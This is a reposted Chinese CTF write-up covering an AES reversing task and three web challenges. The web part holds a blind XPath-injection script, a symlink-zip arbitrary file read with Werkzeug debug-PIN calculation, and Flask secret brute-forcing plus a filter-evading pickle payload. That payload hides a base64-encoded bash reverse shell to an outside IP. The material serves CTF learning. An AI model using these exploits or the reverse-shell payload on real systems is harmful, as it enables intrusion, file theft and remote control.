    hexdump((*state), sizeof(*state));  }  hexdump(*state, sizeof(*state));  // Add round key to last round  AddRoundKey(Nr, state, RoundKey);  swap_xxx(state);}
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static void InvCipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  swap_xxx(state);  // Add the First round key to the state before starting the rounds.  AddRoundKey(Nr, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without InvMixColumn()  for (round = (Nr - 1);; --round) {    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;    }    InvShiftRows(state);    InvSubBytes(state);    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    if (round != (Nr - 1)) {      swap_xxx(state);    }    AddRoundKey(round, state, RoundKey);    if (round == 0) {      break;    }    swap_xxx(state);    InvMixColumns(state);  }}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*****************************************************************************//* Public functions:                                                         *//*****************************************************************************/#if defined(ECB) && (ECB == 1)
void AES_ECB_encrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call encrypts the PlainText with the Key using AES  // algorithm.  Cipher((state_t *)buf, ctx->RoundKey);}
void AES_ECB_decrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call decrypts the PlainText with the Key using AES  // algorithm.  InvCipher((state_t *)buf, ctx->RoundKey);}
#endif // #if defined(ECB) && (ECB == 1)
#if defined(CBC) && (CBC == 1)
static void XorWithIv(uint8_t *buf, const uint8_t *Iv) {  uint8_t i;  for (i = 0; i < AES_BLOCKLEN;       ++i) // The block in AES is always 128bit no matter the key size  {    buf[i] ^= Iv[i];  }}
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t *Iv = ctx->Iv;  for (i = 0; i < length; i += AES_BLOCKLEN) {    XorWithIv(buf, Iv);    Cipher((state_t *)buf, ctx->RoundKey);    Iv = buf;    buf += AES_BLOCKLEN;  }  /* store Iv in ctx for next call */  memcpy(ctx->Iv, Iv, AES_BLOCKLEN);}
void AES_CBC_decrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t storeNextIv[AES_BLOCKLEN];  for (i = 0; i < length; i += AES_BLOCKLEN) {    memcpy(storeNextIv, buf, AES_BLOCKLEN);    InvCipher((state_t *)buf, ctx->RoundKey);    XorWithIv(buf, ctx->Iv);    memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);    buf += AES_BLOCKLEN;  }}
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note * any IV/nonce should never be reused with the same key */void AES_CTR_xcrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  uint8_t buffer[AES_BLOCKLEN];
  size_t i;  int bi;  for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) {    if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */    {
      memcpy(buffer, ctx->Iv, AES_BLOCKLEN);      Cipher((state_t *)buffer, ctx->RoundKey);
      /* Increment Iv and handle overflow */      for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) {        /* inc will overflow */        if (ctx->Iv[bi] == 255) {          ctx->Iv[bi] = 0;          continue;        }        ctx->Iv[bi] += 1;        break;      }      bi = 0;    }
    buf[i] = (buf[i] ^ buffer[bi]);  }}
#endif // #if defined(CTR) && (CTR == 1)
unsigned char hexData2[176] = {    0x39, 0xBA, 0x3A, 0x0B, 0x1C, 0x27, 0x64, 0xA2, 0x80, 0x98, 0x31, 0x36,    0xEB, 0x9E, 0x77, 0x9E, 0x32, 0x53, 0x31, 0xFF, 0x2E, 0x74, 0x55, 0x5D,    0xAE, 0xEC, 0x64, 0x6B, 0x45, 0x72, 0x13, 0xF5, 0xD4, 0x3D, 0x71, 0x80,    0xFA, 0x49, 0x24, 0xDD, 0x54, 0xA5, 0x40, 0xB6, 0x11, 0xD7, 0x53, 0x43,    0xCE, 0xBF, 0x7F, 0x69, 0x34, 0xF6, 0x5B, 0xB4, 0x60, 0x53, 0x1B, 0x02,    0x71, 0x84, 0x48, 0x41, 0x4D, 0x1C, 0x20, 0x33, 0x79, 0xEA, 0x7B, 0x87,    0x19, 0xB9, 0x60, 0x85, 0x68, 0x3D, 0x28, 0xC4, 0x51, 0x59, 0x07, 0x17,    0x28, 0xB3, 0x7C, 0x90, 0x31, 0x0A, 0x1C, 0x15, 0x59, 0x37, 0x34, 0xD1,    0x6F, 0x92, 0x9D, 0x2F, 0x47, 0x21, 0xE1, 0xBF, 0x76, 0x2B, 0xFD, 0xAA,    0x2F, 0x1C, 0xC9, 0x7B, 0x4E, 0x87, 0x01, 0xB2, 0x09, 0xA6, 0xE0, 0x0D,    0x7F, 0x8D, 0x1D, 0xA7, 0x50, 0x91, 0xD4, 0xDC, 0xC8, 0xD4, 0x80, 0x7A,    0xC1, 0x72, 0x60, 0x77, 0xBE, 0xFF, 0x7D, 0xD0, 0xEE, 0x6E, 0xA9, 0x0C,    0x36, 0xFC, 0x1F, 0xB2, 0xF7, 0x8E, 0x7F, 0xC5, 0x49, 0x71, 0x02, 0x15,    0xA7, 0x1F, 0xAB, 0x19, 0xE2, 0xA0, 0xDF, 0xE6, 0x15, 0x2E, 0xA0, 0x23,    0x5C, 0x5F, 0xA2, 0x36, 0xFB, 0x40, 0x09, 0x2F};
int main() {  struct AES_ctx ctx;  uint8_t key[] =      "\x39\xba\x3a\x0b\x1c\x27\x64\xa2\x80\x98\x31\x36\xeb\x9e\x77\x9e";  uint8_t buf[16] = "FFFFFFFFFFFFFFFF";
  AES_init_ctx(&ctx, key);
  memcpy(ctx.RoundKey, hexData2, sizeof(hexData2));  hexdump(ctx.RoundKey, sizeof(ctx.RoundKey));
  AES_ECB_encrypt(&ctx, buf);  hexdump(buf, sizeof(buf));
  uint8_t bufx[16] =      "\xAA\xFE\xE4\xE0\xC3\xB3\x24\x16\x4E\x5B\xF7\x13\x9E\xE1\xCA\xA0";
  AES_ECB_decrypt(&ctx, bufx);  hexdump(bufx, sizeof(bufx));  return 0;}

四、web

1.题目名称:babyjava

xpath 注入,参考:https://xz.aliyun.com/t/7791#toc-6
exp:import requestsurl = 'http://eci-2zeck6h5lu4hlf0o62vg.cloudeci1.ichunqiu.com:8888/hello'head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"}strs = '}_{-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'flag = ''for i in range(1, 100):for j in strs:payload_1 = { # root"xpath":"admin' or substring(name(/*[1]), {}, 1)='{}".format(i,j)}payload_2 = { # user"xpath":"admin'or substring(name(/root/*[1]), {}, 1)='{}".format(i,j)}payload_3 = { # username"xpath":"admin'or substring(name(/root/user/*[2]), {}, 1)='{}".format(i,j)}payload_4 = { # username"xpath":"admin'or substring(name(/root/user/*[1]), {}, 1)='{}".format(i,j)}payload_7 = { # flag"xpath":"1' or substring(/root/user/username[2]/text(),{},1)='{}".format(i,j)}r = requests.post(url=url, headers=head, data=payload_7)if "This information is not available" not in r.text:flag += jprint(flag)breakif "This information is not available" in r.text:breakprint(flag)

2.题目名称:OnlineUnzip

题目源代码如下:import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response

app=Flask(__name__)

def extractFile(filepath):
    extractdir=filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)
    os.system(f'unzip -o {filepath} -d {extractdir}')
    return redirect(url_for('display',extractdir=extractdir))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
    if re.search(r"\.\.", extractdir, re.M | re.I) != None:
        return "Hacker?"
    else:
        if not os.path.exists(extractdir):
            return make_response("error", 404)
        else:
            if not os.path.isdir(extractdir):
                f = open(extractdir, 'rb')
                response = make_response(f.read())
                response.headers['Content-Type'] = 'application/octet-stream'
                return response
            else:
                fn = os.listdir(extractdir)
                fn = [".."] + fn
                f = open("templates/template.html")
                x = f.read()
                f.close()
                ret = "<h1>文件列表:</h1><br><hr>"
                for i in fn:
                    tpath = os.path.join('/display', extractdir, i)
                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"
                x = x.replace("HTMLTEXT", ret)
                return x


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    ip = request.remote_addr
    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]

    if not os.path.exists(uploadpath):
        os.makedirs(uploadpath)

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        try:
            upFile = request.files['file']
            print(upFile.filename)
            if os.path.splitext(upFile.filename)[-1]=='.zip':
                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
                upFile.save(filepath)
                zipDatas = extractFile(filepath)
                return zipDatas
            else:
                return f"{upFile.filename} is not a zip file !"
        except:
            return make_response("error", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)这里直接利用软链接就可以进行任意文件读取了。按照下面的操作来即可
软链接任意读文件
flag.sh /etc/passwd
#!/usr/bin/env bashrm flagrm flag.zipln -s $1 flagzip --symlinks flag.zip flag发现 ffffl111l1a44a4ggg可以看到这里是开启debug的。那么可以算pin来打可以参考这个师傅算pin的文章https://blog.csdn.net/weixin_54648419/article/details/123632203读取发现无权限, python3.8,所以可以算 pin 码算 pin
import hashlibfrom itertools import chainprobably_public_bits = ['ctf'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到]private_bits = ['95529894978',# /sys/class/net/eth0/address 16 进 制 转 10 进 制00:16:3e:06:84:42#/etc/machine-id + /proc/self/cgroup'96cec10d3d9307792745ec3b85c896201d32e75cee611384a0f09556e07ef291176ed1454d035521b7e624689d20583d']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)读取 flag上面算machine_id有点小坑是,算pin的好多文章描述的都是(每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取),然后这里三个文件都有。最后各种匹配都不行。看了下算machine_id的源码,其实就是把/etc/machine-id和/proc/self/cgroup拼接起来就行了

3.easypickle

题目源码:import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)首先我们如果要反序列化的化,就要伪造session让自己是admin。那么我们首先就需要获取到密钥。这里的密钥是伪随机的。我们生成字典利用工具爆破出密钥即可numbers_str = [str(x) for x in range(10)]
a=['a','b','c','d','e','f']
a+= numbers_str
file=open("C:/Users/Administrator/Desktop/easypickle/zidian.txt",'w')
for b in a:
    for c in a:
        for d in a:
            for e in a:
                file.write("{}{}{}{}\n".format(b,c,d,e))
然后利用flask-unsign工具直接跑就行了(跑得不是一般的快
flask-unsign --unsign --cookie "eyJ1c2VyIjoiYWRtaW4ifQ.YyVFUA.RSTsbveITHMSD9v0MTLMswCryRc" --wordlist "C:\Users\Administrator\Desktop\easypickle\zidian.txt" --no-literal-eval
[*] Session decodes to: {'user': 'admin'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 24960 attempts
b'6174

黑名单这里的逻辑是把我们的序列化的数据解码后正则,再替换,只要替换后的payload过了waf就可以了。最后反序列化的是替换前的。那么这里其实是可以用o指令,只是也要把s指令带上,那么替换之后就变成了Os然后是可以过waf的,最后反序列化的是os.s的指令如下。那么我们只需要把s指令和o指令合理结合即可
本地测试一下import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code)
大家可以参考一下这篇文章来补一下pickle的指令https://xz.aliyun.com/t/7436#toc-6,然后像文章里面一样利用pickle的工具库来分析payloadC:\Users\Administrator\Desktop\easypickle\venv\Scripts\python.exe C:/Users/Administrator/Desktop/easypickle/3.py 
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

    0: (    MARK
    1: S        STRING     'shanghe1'
   12: S        STRING     'shanghe'  #这里的意思是压进去第一个字典
   23: d        DICT       (MARK at 0)
   24: (    MARK
   25: S        STRING     'shanghe2'
   36: S        STRING     'shanghe'
   47: d        DICT       (MARK at 24)  #再往栈里面压进去第二个字典
   48: (    MARK
   49: c        GLOBAL     'os system'
   60: S        STRING     'dir'
   67: o        OBJ        (MARK at 48)  #这里用我们逃出来的o指令进行命令执行
   68: s    SETITEM   #最后s的指令就会把 o指令执行后的内容以及shanghe2的键值对压进去shanghe1的字典里面,作为新的键值对。
   69: .    STOP
highest protocol among opcodes = 1
最后直接拿flag即可。也可以编码用v指令任意命令执行反弹shell都可以import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\ndS'shanghe'\n(cos\nsystem\nS'cat f* >xxx'os.'''
code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code))然后伪造即可替换原来的sesison,然后访问admin页面即可
python3  flask_session_cookie_manager3.py encode -s "6174"  -t "{'user': 'admin','ser_data':b'KFMnc2hhbmdoZScKUydzaGFuZ2hlJwpkUydzaGFuZ2hlJwooY29zCnN5c3RlbQpWXHUwMDYyXHUwMDYxXHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDYzXHUwMDIwXHUwMDI3XHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDY5XHUwMDIwXHUwMDNFXHUwMDI2XHUwMDIwXHUwMDJGXHUwMDY0XHUwMDY1XHUwMDc2XHUwMDJGXHUwMDc0XHUwMDYzXHUwMDcwXHUwMDJGXHUwMDM0XHUwMDM3XHUwMDJFXHUwMDM5XHUwMDM2XHUwMDJFXHUwMDM0XHUwMDMxXHUwMDJFXHUwMDMxXHUwMDMwXHUwMDMzXHUwMDJGXHUwMDMxXHUwMDMzXHUwMDMzXHUwMDM3XHUwMDIwXHUwMDMwXHUwMDNFXHUwMDI2XHUwMDMxXHUwMDI3Cm9zLg=='}



参考连接:https://mp.weixin.qq.com/s/UucoNpyYoopJ4X7V_CmpiA http://www.fzwjscj.xyz/index.php/archives/48/ Arr3stY0u战队wp
附件下载:链接:https://pan.baidu.com/s/1h9TST5S8zPs4EY5jRgZqDA   提取码:2pay 

标签:AES,writeup,美团,ctx,uint8,初赛,state,RoundKey,uint32
From: https://www.cnblogs.com/backlion/p/16704171.html

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